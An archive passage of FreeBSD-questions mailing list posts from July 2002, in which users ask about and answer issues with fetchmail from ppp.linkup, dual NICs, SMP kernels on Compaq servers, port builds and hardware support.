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Date: Sun, 28 Jul 2002 10:01:27 +0000
From: "D. Penev" <dpenev@mail.bg>
To: Paulo Roberto <nirv199@yahoo.com>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: starting fetchmail from ppp.linkup on FreeBSD 4.6
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On Sat, Jul 27, 2002 at 07:07:10AM -0700, Paulo Roberto wrote:
>Date: Sat, 27 Jul 2002 07:07:10 -0700 (PDT)
>From: Paulo Roberto <nirv199@yahoo.com>
>Subject: starting fetchmail from ppp.linkup on FreeBSD 4.6
>
>Hello,
>
>I am having some trouble trying to run fetchmail in daemon mode, being
>started from /etc/ppp/ppp.linkup in FreeBSD 4.6.
>At the /var/log/ppp.log I get:
>ppp[56]: tun0: Command: papchap: ! sh /usr/local/bin/fetchmail -v -f
>/root/.fetchmailrc >> /tmp/FETCHMAIL.LOG

I have such troubles so I put fetchmail in daemon mode with command argument
instead of .fetchmailrc. Remove any "set daemon ..." in .fetchmailrc and try
this in ppp.linkup:

! /usr/local/bin/fetchmail -d <interval>


>But no mail is retrieved (yup, I sent myself dozens of emails to test
>it) and even no output is directed to my test file.
>Does fetchmail needs any special parameter to be run at ppp.linkup?
>
>thanks
>
>Paulo Roberto
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Health - Feel better, live better
>http://health.yahoo.com
>
>------------------------------

-- 
Regards,
D. Penev

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From owner-freebsd-questions  Sun Jul 28  1:23: 5 2002
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From: Mark Rowlands <mark.rowlands@minmail.net>
To: "Greg 'groggy' Lehey" <grog@lemis.com>
Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
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 snip

Greg Lehey said:-=20

> Some time ago I created the "instant-workstation"
> port, but didn't make much noise about it.  instant-workstation
> basically installs a number of dependent ports (see below for a list)
> and then does some minor configuration.=20

snip

>
> So what's in instant-workstation?  Currently I have:
>
> =09acroread
> =09bash
> =09cdrecord
> =09dos2unix
> =09emacs
> =09fetchmail
> =09gs
> =09grip
> =09gimp
> =09gv
> =09gpg
> =09ispell
> =09startkde
> =09mkisofs
> =09mount_smbfs
> =09mutt
> =09netscape
> =09xtset
> =09xmms
> =09xv
>
> My questions to you: is there anything missing?  Has anybody tried
> instant-workstation?  I'd be interested in suggestions about how to
> improve it.
>
> Greg

I tried it a ways back when I was constanty breaking things and reinstall=
ing=20
boxes......I'm better now, and it was a worthwhile tool. Saved me some ti=
me=20
and taught me a bit about the ports structure.

possible additions

The first thing thing it should maybe do is to cvsup the ports structure =
and=20
run a portsdb -Uu or pkgdb -F  ;-)

Additions :-

jdk13,  wrapper,  vnc,  rdesktop, portupgrade and possibly open office.=20

An option to install KDE3 would be nice.=20

Given that it takes so long to build, is it worth thinking  about trying =
to=20
use packages wherever possible?

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From owner-freebsd-questions  Sun Jul 28  3:24:51 2002
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Dear sir,

I have three questions

1.
When I select Security Profile with "Extreme" in Installation.
The system will set sendmail_enable="NO" into /etc/rc.conf.
But, after I restart the server, sendmail program is still be bring up.
So, I saw the rc.conf man page & set the sendmail_enable="NONE", and
resolve the problem.

2.
I have two NICs but,  I can't set them into the same network with
different IP.
Example:

setting 1 is ok
fxp0 :  ip 140.137.100.5, netmask 255.255.255.0, broadcast
140.137.100.255
fxp1 :  ip 140.137.100.6, netmask 255.255.0.0, broadcast 140.137.100.255

setting 2 can't work
fxp0 :  ip 140.137.100.5, netmask 255.255.255.0, broadcast
140.137.100.255
fxp1 :  ip 140.137.100.6, netmask 255.255.255.0, broadcast
140.137.100.255

and when I try to set netmask into 255.255.255.0, system response that,
ifconfig: ioctl (SIOCAIFADDR): File exists

NIC card are ntel Pro 10/100B/100+ Ethernet


3.
When the server start, there are a lot of wrong messages
"arp: 140.137.100.10 is on fxp0 but got reply from 00:80:c8:d8:6c:6a on
fxp1"
the 140.137.100.10 is my DNS IP


So, could you help me to resolve these problems??



Thank you very much

Jacky Chen


--------------149F1915EE66A333702070B5
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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Dear sir,
<p>I have three questions
<p>1.
<br>When I select Security Profile with "Extreme" in Installation.
<br>The system will set sendmail_enable="NO" into /etc/rc.conf.
<br>But, after I restart the server, sendmail program is still be bring
up.
<br>So, I saw the rc.conf man page &amp; set the sendmail_enable="NONE",
and resolve the problem.
<p>2.
<br>I have two NICs but,&nbsp; I can't set them into the same network with
different IP.
<br>Example:
<p>setting 1 is ok
<br>fxp0 :&nbsp; ip 140.137.100.5, netmask 255.255.255.0, broadcast 140.137.100.255
<br>fxp1 :&nbsp; ip 140.137.100.6, <font color="#FF0000">netmask 255.255.0.0</font>,
broadcast 140.137.100.255
<p>setting 2 can't work
<br>fxp0 :&nbsp; ip 140.137.100.5, netmask 255.255.255.0, broadcast 140.137.100.255
<br>fxp1 :&nbsp; ip 140.137.100.6, <font color="#FF0000">netmask 255.255.255.0</font>,
broadcast 140.137.100.255
<p>and when I try to set netmask into 255.255.255.0, system response that,
<br>ifconfig: ioctl (SIOCAIFADDR): File exists
<p>NIC card are ntel Pro 10/100B/100+ Ethernet
<br>&nbsp;
<p>3.
<br>When the server start, there are a lot of wrong messages
<br>"arp: 140.137.100.10 is on fxp0 but got reply from 00:80:c8:d8:6c:6a
on fxp1"
<br>the 140.137.100.10 is my DNS IP
<br>&nbsp;
<p>So, could you help me to resolve these problems??
<br>&nbsp;
<br>&nbsp;
<p>Thank you very much
<p>Jacky Chen
<br>&nbsp;</html>

--------------149F1915EE66A333702070B5--


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From owner-freebsd-questions  Sun Jul 28  3:29:24 2002
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From: Clement Laforet <sheepkiller@cultdeadsheep.org>
To: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Cc: freebsd-questions@freebsd.org
Subject: Re: mounting CD-Roms
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Hi Robert,

auto mounting is relatively insecure, it isn't in UNIX specs and it's
usefull "only" in a desktop environment.

clem

On Fri, 26 Jul 2002 22:31:19 -0700 (PDT)
robert Backhaus <robbakfreebsd@yahoo.co.uk> wrote:

> I just looked through the daemonnews aritcle on the
> automounter, and it looked like a usefull kludge,
> imvho.
> The best idea again imho, would be a utility that
> waited for what windows call 'auto-insert notifcation'
> and attempts to mount the cd-rom, then waits for the
> eject button to be pressed, and unmounts the disk.
> (Adaptec's udf packet writer does this). It seems to
> be a relitively simple procedure (but them I am an
> excessivly newbieish programmer), and I wonder why it
> isn't a standard component.
> 
> Thanks, 
>  Robert Backhaus
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

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From owner-freebsd-questions  Sun Jul 28  3:55:11 2002
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Subject: Re: Three questions about FreeBSD
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Hi Jacky,

> 1.
> When I select Security Profile with "Extreme" in Installation.
> The system will set sendmail_enable="NO" into /etc/rc.conf.
> But, after I restart the server, sendmail program is still be bring
> up. So, I saw the rc.conf man page & set the sendmail_enable="NONE",
> and resolve the problem.

Sendmail rc.conf settings have changed between 4.5-RELEASE and
4.6-RELEASE, (see /usr/src/UPDATING for more detail : 20020404) and
sysinstall seems to be out of date. 
 
> 2.
> I have two NICs but,  I can't set them into the same network with
> different IP.
> Example:
> 
> setting 1 is ok
> fxp0 :  ip 140.137.100.5, netmask 255.255.255.0, broadcast
> 140.137.100.255
> fxp1 :  ip 140.137.100.6, netmask 255.255.0.0, broadcast
> 140.137.100.255
> 
> setting 2 can't work
> fxp0 :  ip 140.137.100.5, netmask 255.255.255.0, broadcast
> 140.137.100.255
> fxp1 :  ip 140.137.100.6, netmask 255.255.255.0, broadcast
> 140.137.100.255
> 
> and when I try to set netmask into 255.255.255.0, system response
> that, ifconfig: ioctl (SIOCAIFADDR): File exists
> 
> NIC card are ntel Pro 10/100B/100+ Ethernet

You want to have 2 interfaces on the same LAN. FreeBSD complains
because it can't determine which interface to use to send packets
(netstat -nr to have the routes and which interface FreeBSD uses).
If you use 2 different netmasks you "fake" FreeBSD. 


> 3.
> When the server start, there are a lot of wrong messages
> "arp: 140.137.100.10 is on fxp0 but got reply from 00:80:c8:d8:6c:6a
> on fxp1"
> the 140.137.100.10 is my DNS IP
> 
That's one of problems you can have when you use 2 interfaces on the
same LAN. You receive ARP packets on the both interfaces, so the kernel
tells you a change in the ARP table.

If you want to use 2 or more interfaces with different IP addresses try
netgraph bounding, or FEC module (you have to download it at :
http://people.freebsd.org/~wpaul/FEC/4.x/) and then set aliases for the
new virtual interface.


clem

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From owner-freebsd-questions  Sun Jul 28  4:19:44 2002
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Subject: write failed, file system full
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I cant seem to get anything to run anymore, after I ran make install for 
cvsup and accidentally did a control-c, I cant make deinstall it, nor will 
it install again using make NO_CHECKSUM=yes. I am completely lost, I don't 
know what to do from here, and I cant seem to figure out what I have/don't 
have ports wise on my system, nor can i figure out how to remove anything 
to make it work, can someone PLEASE help me, I'm desperate!


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From owner-freebsd-questions  Sun Jul 28  4:29:35 2002
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--- Justin Jones <blackcrow12885@attbi.com> wrote:
> I cant seem to get anything to run anymore, after I
> ran make install for 
> cvsup and accidentally did a control-c, I cant make
> deinstall it, nor will 
> it install again using make NO_CHECKSUM=yes. I am
> completely lost, I don't 
> know what to do from here, and I cant seem to figure
> out what I have/don't 
> have ports wise on my system, nor can i figure out
> how to remove anything 
> to make it work, can someone PLEASE help me, I'm
> desperate!
> 
> 
Ther's not many people following it at this hour, so i
will give you my .02

First, have you done a make clean? this will clear up
any half-compiled mess in your ports. Just run it like
you would a make, or make install

If you are serious about the file system full tag,
could you give us an output of df? type df at a
command prompt)


=====
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They are not the opionion of the writers family, freinds, customers or any 
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They are not necessarily the opinions of the writer.

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From owner-freebsd-questions  Sun Jul 28  4:32:58 2002
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Date: Sun, 28 Jul 2002 19:32:37 +0800
From: Roman Y.Bogdanov <brj@vzletka.net>
To: freebsd-questions@FreeBSD.ORG
Subject: PCT 789T-A HSP MicroModem 56
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 I my notebook, i have that modem? It's supported by FreeBSD? Where I can
drivers for it? If you knew something about how to make work whis modem in
freebsd, please contact me.


$ pciconf -l -v

none0@pci0:5:0:	class=0x070304 card=0x0001134d chip=0x7892134d rev=0x02
hdr=0x00
    vendor   = 'PCTEL Inc.'
    device   = 'PCT 789T-A HSP MicroModem 56'
    class    = simple comms

--
  Roman Y. Bogdanov


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From owner-freebsd-questions  Sun Jul 28  5:59:39 2002
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From: "Nathan Warren" <nwarren@globix.com>
To: <questions@freebsd.org>
Subject: SMP problems with recompiled kernel
Date: Sun, 28 Jul 2002 13:59:23 +0100
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Hi all, I have another little issue that I could use some help with. I have
recompiled my kernel to take advantage of SMP hardware. (Compaq Proliant
DL360)

Kernel compiles all OK with no warnings, however when I reboot the box I get
the standard boot text and then the following which hangs the box :

real memory  = 536854528 (524272K bytes)
config> di sn0
No such device: sn0
Invalid command or syntax.  Type `?' for help.
config> di lnc0
No such device: lnc0
Invalid command or syntax.  Type `?' for help.
config> di ie0
No such device: ie0
Invalid command or syntax.  Type `?' for help.
config> di fe0
No such device: fe0
Invalid command or syntax.  Type `?' for help.
config> di ed0
No such device: ed0
Invalid command or syntax.  Type `?' for help.
config> di cs0
No such device: cs0
Invalid command or syntax.  Type `?' for help.
config> q
avail memory = 518909952 (506748K bytes)
changing APIC ID for IO APIC #0 from 0 to 8 on chip
programming 35 pins in IOAPIC #0
IOAPIC #0 intpin 2 -> irq 0

Firstly, why are the 'config' prompts there ? I have searched through my
kernel config file and I can find no reference to any of the devices as
above i.e. i don't want/need them

Secondly this is what the big problem is and what appears to be hanging the
box....

changing APIC ID for IO APIC #0 from 0 to 8 on chip
programming 35 pins in IOAPIC #0
IOAPIC #0 intpin 2 -> irq 0

As you can see from the kernel config file, I have added the 2 lines as
advised by GENERIC and the support handbook. I am running 4.6-RELEASE. I
have used the same config (minus the SMP lines) on a box with only 1
processor and all is ok too.

Does anyone have any ideas ??? If there is any information I can supply
please let me know....

Thanks as always

Nathan Warren


****************************************************************************
***************************
[nwarren@nocxserver] ~ $ cat FBSDMPDL360
# FBSD -- Kernel configuration file for FreeBSD/i386 by Nathan Warren
# 15/04/01 -- Configuration file for Compaq Proliant DL360
# 31/1/02 -- Updated removing LOTS of crap for SMP Compaq Proliant DL360's
#
# For more information on this file, please read the handbook section on
# Kernel Configuration Files:
#
#    http://www.FreeBSD.org/handbook/kernelconfig-config.html
#
# $FreeBSD: src/sys/i386/conf/FBSD,v 1.246.2.8 2000/07/20 02:51:02 msmith
Exp $

machine         i386
cpu             I686_CPU
ident           FBSDMPDL360
maxusers        1500

options         INET                    #InterNETworking
options         FFS                     #Berkeley Fast Filesystem
options         FFS_ROOT                #FFS usable as root device [keep
this!]
options         SOFTUPDATES             #Enable FFS soft updates support
options         MFS                     #Memory Filesystem
options         MD_ROOT                 #MD is a potential root device
options         CD9660                  #ISO 9660 Filesystem
options         CD9660_ROOT             #CD-ROM usable as root, CD9660
required
options         PROCFS                  #Process filesystem
options         COMPAT_43               #Compatible with BSD 4.3 [KEEP
THIS!]
options         SCSI_DELAY=10000        #Delay (in ms) before probing SCSI
options         UCONSOLE                #Allow users to grab the console
options         USERCONFIG              #boot -c editor
options         VISUAL_USERCONFIG       #visual boot -c editor
options         KTRACE                  #ktrace(1) support
options         SYSVSHM                 #SYSV-style shared memory
options         SYSVMSG                 #SYSV-style message queues
options         SYSVSEM                 #SYSV-style semaphores
options         P1003_1B                #Posix P1003_1B real-time extensions
options         _KPOSIX_PRIORITY_SCHEDULING
options         ICMP_BANDLIM            #Rate limit bad replies
options         KBD_INSTALL_CDEV        # install a CDEV entry in /dev
options         IPFIREWALL
options         IPFIREWALL_VERBOSE
options         IPFIREWALL_VERBOSE_LIMIT=50
options         IPFIREWALL_DEFAULT_TO_ACCEPT

# To make an SMP kernel, the next two are needed
options         SMP                     # Symmetric MultiProcessor Kernel
options         APIC_IO                 # Symmetric (APIC) I/O

device          isa
device          pci

# SCSI peripherals
device          scbus           # SCSI bus (required)
device          da              # Direct Access (disks)
device          cd              # CD

# RAID controllers
device          ida             # Compaq Smart RAID

# atkbdc0 controls both the keyboard and the PS/2 mouse
device          atkbdc0 at isa? port IO_KBD
device          atkbd0  at atkbdc? irq 1 flags 0x1
device          psm0    at atkbdc? irq 12

#VGA driver for monitor
device          vga0    at isa?

# splash screen/screen saver
pseudo-device   splash

# syscons is the default 'syscons' console driver, resembling an SCO console
device          sc0     at isa? flags 0x100

# Floating point support - do not disable.
device          npx0    at nexus? port IO_NPX irq 13

# Parallel port
device          ppbus           # Parallel port bus (required)

# PCI Ethernet NICs.
#NOTE:Be sure to  keep the 'device miibus' line in order to use these NICs!
device          miibus          # MII bus support
device          fxp             # Intel EtherExpress PRO/100B (82557, 82558)

# Pseudo devices - the number indicates how many units to allocated.
pseudo-device   loop            # Network loopback
pseudo-device   ether           # Ethernet support
pseudo-device   pty     10      # Pseudo-ttys (telnet etc)
pseudo-device   md              # Memory "disks"

# The `bpf' pseudo-device enables the Berkeley Packet Filter.
# Be aware of the administrative consequences of enabling this!
pseudo-device   bpf     4       #Berkeley packet filter
pseudo-device   snp     5       #Snoop device
[nwarren@nocxserver] ~ $


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From owner-freebsd-questions  Sun Jul 28  6:11:47 2002
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Date: Sun, 28 Jul 2002 08:11:42 -0500
To: freebsd-questions@freebsd.org
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Web Forums Software
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First, am running FBSD 4.5-RELEASE and FrontPage 2002

On a fairly busy website hosted, it has been using the FrontPage Discussion
Board prefab scripts "webbots" for the Forums for several years. Forums are
essential to this web site.

However, the FP prefab boards are "quirky" and more recently even more
quirky, after upgrading FBSD, Apache, and the FrontPage extensions. Now the
messages retain absolutely no formatting and makes for one big paragraph on
each post. Also, for a long time have been putting up with "double posts"
that occur through fault of the webbot and not the poster.

Can someone recommend some other choices for forums similar to the format
being used now (have looked at "www_board" and "Phorum" but don't like
either):
http://www.antennex.com/atheory2/ 

Many thanks for any recommendations.....

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Sun Jul 28  6:12:54 2002
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From: "Diablo Rojo" <diablo_rojo@rol.ro>
To: <freebsd-questions@FreeBSD.org>
Subject: i want to buy freebsd but i don't know if it has suport for....
Date: Sun, 28 Jul 2002 16:12:53 +0300
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------=_NextPart_000_000A_01C23651.A0C4FB30
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Dear Sir,

I emailed you to ask you if freebsd 4.6 has suport for my intel desktop =
board which is knew if it has suport D845GBV =
http://www.intel.com/design/motherbd/bv/ and my WDC hard-disk 120 gb, =
because i don't want to happen like on redhat 7.3 to have a 1.4 mb\s.
And one more question what is the space it ocupies the full instalation =
? and if i can make a raid device
[i have one more 30gb hard] making a partiton / and another / both of =
28GB . Is this possible ?

                                Goodbye,
                                    Diablo Rojo[eXistenZ]

------=_NextPart_000_000A_01C23651.A0C4FB30
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Dear Sir,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I emailed you to ask you if freebsd 4.6 =
has suport=20
for my intel desktop board which is knew if it has suport D845GBV <A=20
href=3D"http://www.intel.com/design/motherbd/bv/">http://www.intel.com/de=
sign/motherbd/bv/</A>&nbsp;and=20
my WDC hard-disk 120 gb, because i don't want to happen like on redhat =
7.3 to=20
have a 1.4 mb\s.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>And one more question what is the space =
it ocupies=20
the full instalation ? and if i can make a raid device</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>[i have one more 30gb hard] making a =
partiton / and=20
another / both of 28GB . Is this possible ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Goodbye,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Diablo=20
Rojo[eXistenZ]</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Sun Jul 28  6:21:47 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: i want to buy freebsd but i don't know if it has suport for....
To: Diablo Rojo <diablo_rojo@rol.ro>, freebsd-questions@FreeBSD.org
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--- Diablo Rojo <diablo_rojo@rol.ro> wrote:
> Dear Sir,
> 
> I emailed you to ask you if freebsd 4.6 has suport
> for my intel desktop board which is knew if it has
> suport D845GBV
> http://www.intel.com/design/motherbd/bv/ and my WDC

I see no problem

> hard-disk 120 gb, because i don't want to happen
> like on redhat 7.3 to have a 1.4 mb\s.
> And one more question what is the space it ocupies
> the full instalation ?

You can get a system working well under a Gigabyte,
but more real estate is always useable...

 and if i can make a raid
> device
> [i have one more 30gb hard] making a partiton / and
> another / both of 28GB . Is this possible ?

Yes, software raid is supplied, called vinnum, but
more than that is a question for another, as I have
never played with it.

> 
>                                 Goodbye,
>                                     Diablo
> Rojo[eXistenZ]
> 



=====
The opinions espressed herein are not the opinions of the writers employee. 
They are not the opionion of the writers family, freinds, customers or any 
organisation that he may be involved in.
They are not necessarily the opinions of the writer.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Sun Jul 28  6:29:22 2002
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I'm finally getting somewhere.  I got mysql server to compile by copying=20
/etc/defaults/make.conf to /etc/make.conf and adding the line=20
SKIP_INSTALL_DB=3Dyes to the last line.

Now, I thought I'd try the same thing with Mailman by adding CGI_GID?=3D =
65533=20
to my /etc/make.conf.  However, before I do, I'd like to know if this mig=
ht=20
adversely affect other programs. =20

Thanks,
Darren

On Friday 26 July 2002 12:26 pm, Bauer wrote:
> Hi,
>
> On Fri, 26 Jul 2002 08:33:10 -0500
>
> Darren Crotchett <backdoc@crotchett.com> wrote:
> > Quick background:
> > I'm trying to transition from complete newbie to newbie-admin.  In
> > other words, I can handle most of the basics of getting a system up
> > and going.  Now I want to learn how properly admin a FreeBSD box.  I'=
m
> > running 4.6-RELEASE.  Due to the recent security issues involving php=
,
> > apache and openssh, I thought that I would try to upgrade all of my
> > installed ports/packages.  Things went OK but, not great.  I have a
> > couple of questions.  Here's how I did what I did:
> >
> > cvsup -g -L 2 /path/to/ports-supfile
>
> You should always run portsdb -uU after you updated your ports to rebui=
ld
> the INDEX
>
> > After running portupgrade, I was greeted with the following message:
> >
> > ** The following packages were not installed or upgraded (*:skipped
> > /!:failed)
> > =09! databases/mysql323-server (mysql-server-3.23.49) (install
> > =09error)! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)  (port
> > =09directory error)* sysutils/portupgrade (portupgrade-20020429)
> >
> > The first question I have is what to do about those messages?
> > mysql-server 3.23.51is the version I have in /usr/ports.  I wonder wh=
y
> > portupgrade had trouble installing?  Should I try manually installing
> > it?  What command line options should I use with portupgrade for that=
?
>
> I don't know if this is the best way, but I always try a portupgrade -r
> port and look at the exact error make gives.
>
> > I don't know how important ruby-fnmatch is.  But, I don't know of any
> > specific reason why I need it.  So, I'm not too worried about it.
> > But, I don't care to have loose ends.  So, I do want to deal with it
> > properly.  What should I do with it?
>
> Try to run portsdb -uU and then upgrade this port again.
>
> > Finally, this last part is more a comment than a question.  After
> > upgrading, phpBB and mailman quit working.  I discovered that mysql
> > was no longer set to start on boot (which is why phpBB wouldn't work)=
=2E
> >  And, mailman is back to
> > giving me UID/GID problems (I always have to edit my Makefile and
> > recompile it).  I think I can take care of both of these problems.
> > But, why would portupgrade leave my services unusable?  It seems like
> > if it had problems, it would be smart enough to back out and give you
> > a message.
>
> Run make options in mail/mailman. You can set some options at build tim=
e
> including UID/GID . Also look at the -M option with
> portinstall/portupgrade. Then have a look at man make.conf . You can se=
t
> permanent variables for ports there to make sure they are always used o=
n
> your upgrades.


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From owner-freebsd-questions  Sun Jul 28  6:41:19 2002
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Date: Sun, 28 Jul 2002 10:05:32 -0400
From: Ed Paquette <ed@edz.org>
To: Nathan Warren <nwarren@globix.com>
Cc: questions@FreeBSD.ORG
Subject: Re: SMP problems with recompiled kernel
Message-ID: <20020728100532.A63494@malu.edz.org>
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Howdy.

This may be because the APIC table  on Compaq isn't configured to be "Full".

Run the configuration utility for the box.  (You should be able to download a
bootable disk image / config utility from Compaq).  When the menu appears, 
press CTRL-A to enter "Advanced Mode".

Here a new option for "APIC Full Table Mode" appears. Select this, and try 
your SMP kernel again.

Good Luck

-ed

On Sun, Jul 28, 2002 at 01:59:23PM +0100, Nathan Warren wrote:
> Hi all, I have another little issue that I could use some help with. I have
> recompiled my kernel to take advantage of SMP hardware. (Compaq Proliant
> DL360)
> 
> Kernel compiles all OK with no warnings, however when I reboot the box I get
> the standard boot text and then the following which hangs the box :
> 
> real memory  = 536854528 (524272K bytes)
> config> di sn0
> No such device: sn0
> Invalid command or syntax.  Type `?' for help.
> config> di lnc0
> No such device: lnc0
> Invalid command or syntax.  Type `?' for help.
> config> di ie0
> No such device: ie0
> Invalid command or syntax.  Type `?' for help.
> config> di fe0
> No such device: fe0
> Invalid command or syntax.  Type `?' for help.
> config> di ed0
> No such device: ed0
> Invalid command or syntax.  Type `?' for help.
> config> di cs0
> No such device: cs0
> Invalid command or syntax.  Type `?' for help.
> config> q
> avail memory = 518909952 (506748K bytes)
> changing APIC ID for IO APIC #0 from 0 to 8 on chip
> programming 35 pins in IOAPIC #0
> IOAPIC #0 intpin 2 -> irq 0
> 
> Firstly, why are the 'config' prompts there ? I have searched through my
> kernel config file and I can find no reference to any of the devices as
> above i.e. i don't want/need them
> 
> Secondly this is what the big problem is and what appears to be hanging the
> box....
> 
> changing APIC ID for IO APIC #0 from 0 to 8 on chip
> programming 35 pins in IOAPIC #0
> IOAPIC #0 intpin 2 -> irq 0
> 
> As you can see from the kernel config file, I have added the 2 lines as
> advised by GENERIC and the support handbook. I am running 4.6-RELEASE. I
> have used the same config (minus the SMP lines) on a box with only 1
> processor and all is ok too.
> 
> Does anyone have any ideas ??? If there is any information I can supply
> please let me know....
> 
> Thanks as always
> 
> Nathan Warren
> 
> 
> ****************************************************************************
> ***************************
> [nwarren@nocxserver] ~ $ cat FBSDMPDL360
> # FBSD -- Kernel configuration file for FreeBSD/i386 by Nathan Warren
> # 15/04/01 -- Configuration file for Compaq Proliant DL360
> # 31/1/02 -- Updated removing LOTS of crap for SMP Compaq Proliant DL360's
> #
> # For more information on this file, please read the handbook section on
> # Kernel Configuration Files:
> #
> #    http://www.FreeBSD.org/handbook/kernelconfig-config.html
> #
> # $FreeBSD: src/sys/i386/conf/FBSD,v 1.246.2.8 2000/07/20 02:51:02 msmith
> Exp $
> 
> machine         i386
> cpu             I686_CPU
> ident           FBSDMPDL360
> maxusers        1500
> 
> options         INET                    #InterNETworking
> options         FFS                     #Berkeley Fast Filesystem
> options         FFS_ROOT                #FFS usable as root device [keep
> this!]
> options         SOFTUPDATES             #Enable FFS soft updates support
> options         MFS                     #Memory Filesystem
> options         MD_ROOT                 #MD is a potential root device
> options         CD9660                  #ISO 9660 Filesystem
> options         CD9660_ROOT             #CD-ROM usable as root, CD9660
> required
> options         PROCFS                  #Process filesystem
> options         COMPAT_43               #Compatible with BSD 4.3 [KEEP
> THIS!]
> options         SCSI_DELAY=10000        #Delay (in ms) before probing SCSI
> options         UCONSOLE                #Allow users to grab the console
> options         USERCONFIG              #boot -c editor
> options         VISUAL_USERCONFIG       #visual boot -c editor
> options         KTRACE                  #ktrace(1) support
> options         SYSVSHM                 #SYSV-style shared memory
> options         SYSVMSG                 #SYSV-style message queues
> options         SYSVSEM                 #SYSV-style semaphores
> options         P1003_1B                #Posix P1003_1B real-time extensions
> options         _KPOSIX_PRIORITY_SCHEDULING
> options         ICMP_BANDLIM            #Rate limit bad replies
> options         KBD_INSTALL_CDEV        # install a CDEV entry in /dev
> options         IPFIREWALL
> options         IPFIREWALL_VERBOSE
> options         IPFIREWALL_VERBOSE_LIMIT=50
> options         IPFIREWALL_DEFAULT_TO_ACCEPT
> 
> # To make an SMP kernel, the next two are needed
> options         SMP                     # Symmetric MultiProcessor Kernel
> options         APIC_IO                 # Symmetric (APIC) I/O
> 
> device          isa
> device          pci
> 
> # SCSI peripherals
> device          scbus           # SCSI bus (required)
> device          da              # Direct Access (disks)
> device          cd              # CD
> 
> # RAID controllers
> device          ida             # Compaq Smart RAID
> 
> # atkbdc0 controls both the keyboard and the PS/2 mouse
> device          atkbdc0 at isa? port IO_KBD
> device          atkbd0  at atkbdc? irq 1 flags 0x1
> device          psm0    at atkbdc? irq 12
> 
> #VGA driver for monitor
> device          vga0    at isa?
> 
> # splash screen/screen saver
> pseudo-device   splash
> 
> # syscons is the default 'syscons' console driver, resembling an SCO console
> device          sc0     at isa? flags 0x100
> 
> # Floating point support - do not disable.
> device          npx0    at nexus? port IO_NPX irq 13
> 
> # Parallel port
> device          ppbus           # Parallel port bus (required)
> 
> # PCI Ethernet NICs.
> #NOTE:Be sure to  keep the 'device miibus' line in order to use these NICs!
> device          miibus          # MII bus support
> device          fxp             # Intel EtherExpress PRO/100B (82557, 82558)
> 
> # Pseudo devices - the number indicates how many units to allocated.
> pseudo-device   loop            # Network loopback
> pseudo-device   ether           # Ethernet support
> pseudo-device   pty     10      # Pseudo-ttys (telnet etc)
> pseudo-device   md              # Memory "disks"
> 
> # The `bpf' pseudo-device enables the Berkeley Packet Filter.
> # Be aware of the administrative consequences of enabling this!
> pseudo-device   bpf     4       #Berkeley packet filter
> pseudo-device   snp     5       #Snoop device
> [nwarren@nocxserver] ~ $
> 
> 
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From owner-freebsd-questions  Sun Jul 28  6:43:47 2002
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Date: Sun, 28 Jul 2002 06:43:45 -0700 (PDT)
From: Paulo Roberto <nirv199@yahoo.com>
Subject: Re: starting fetchmail from ppp.linkup on FreeBSD 4.6
To: "D. Penev" <dpenev@mail.bg>
Cc: freebsd-questions@FreeBSD.org
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--- "D. Penev" <dpenev@mail.bg> wrote:
> and try
> this in ppp.linkup:
> 
> ! /usr/local/bin/fetchmail -d <interval>

Should I drop the 'sh' after the '!'??
BTW what is this '!' for? From my understanding I am not denying any
argument... (I didn't find it on the manual...)

thanks

PR

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From owner-freebsd-questions  Sun Jul 28  6:47:48 2002
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From: Paulo Roberto <nirv199@yahoo.com>
Subject: Re: starting fetchmail from ppp.linkup on FreeBSD 4.6
To: Matthew Seaman <m.seaman@infracaninophile.co.uk>
Cc: Matthew Seaman <m.seaman@infracaninophile.co.uk>,
	freebsd-questions@FreeBSD.ORG
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--- Matthew Seaman <m.seaman@infracaninophile.co.uk> wrote:
> Here's a wild idea.  Just try dropping the '>> /tmp/FETCHMAIL.LOG'
> part of the command in your ppp.linkup file.  I've a feeling that ppp
> doesn't really understand the complete panoply of the shell's file
> redirection syntax.

It was just like you said before, and since it was not working, I added
that >> so I could see what was going on... Took it out again with no
success.
I guess the problem might be something very, very stupid , but I just
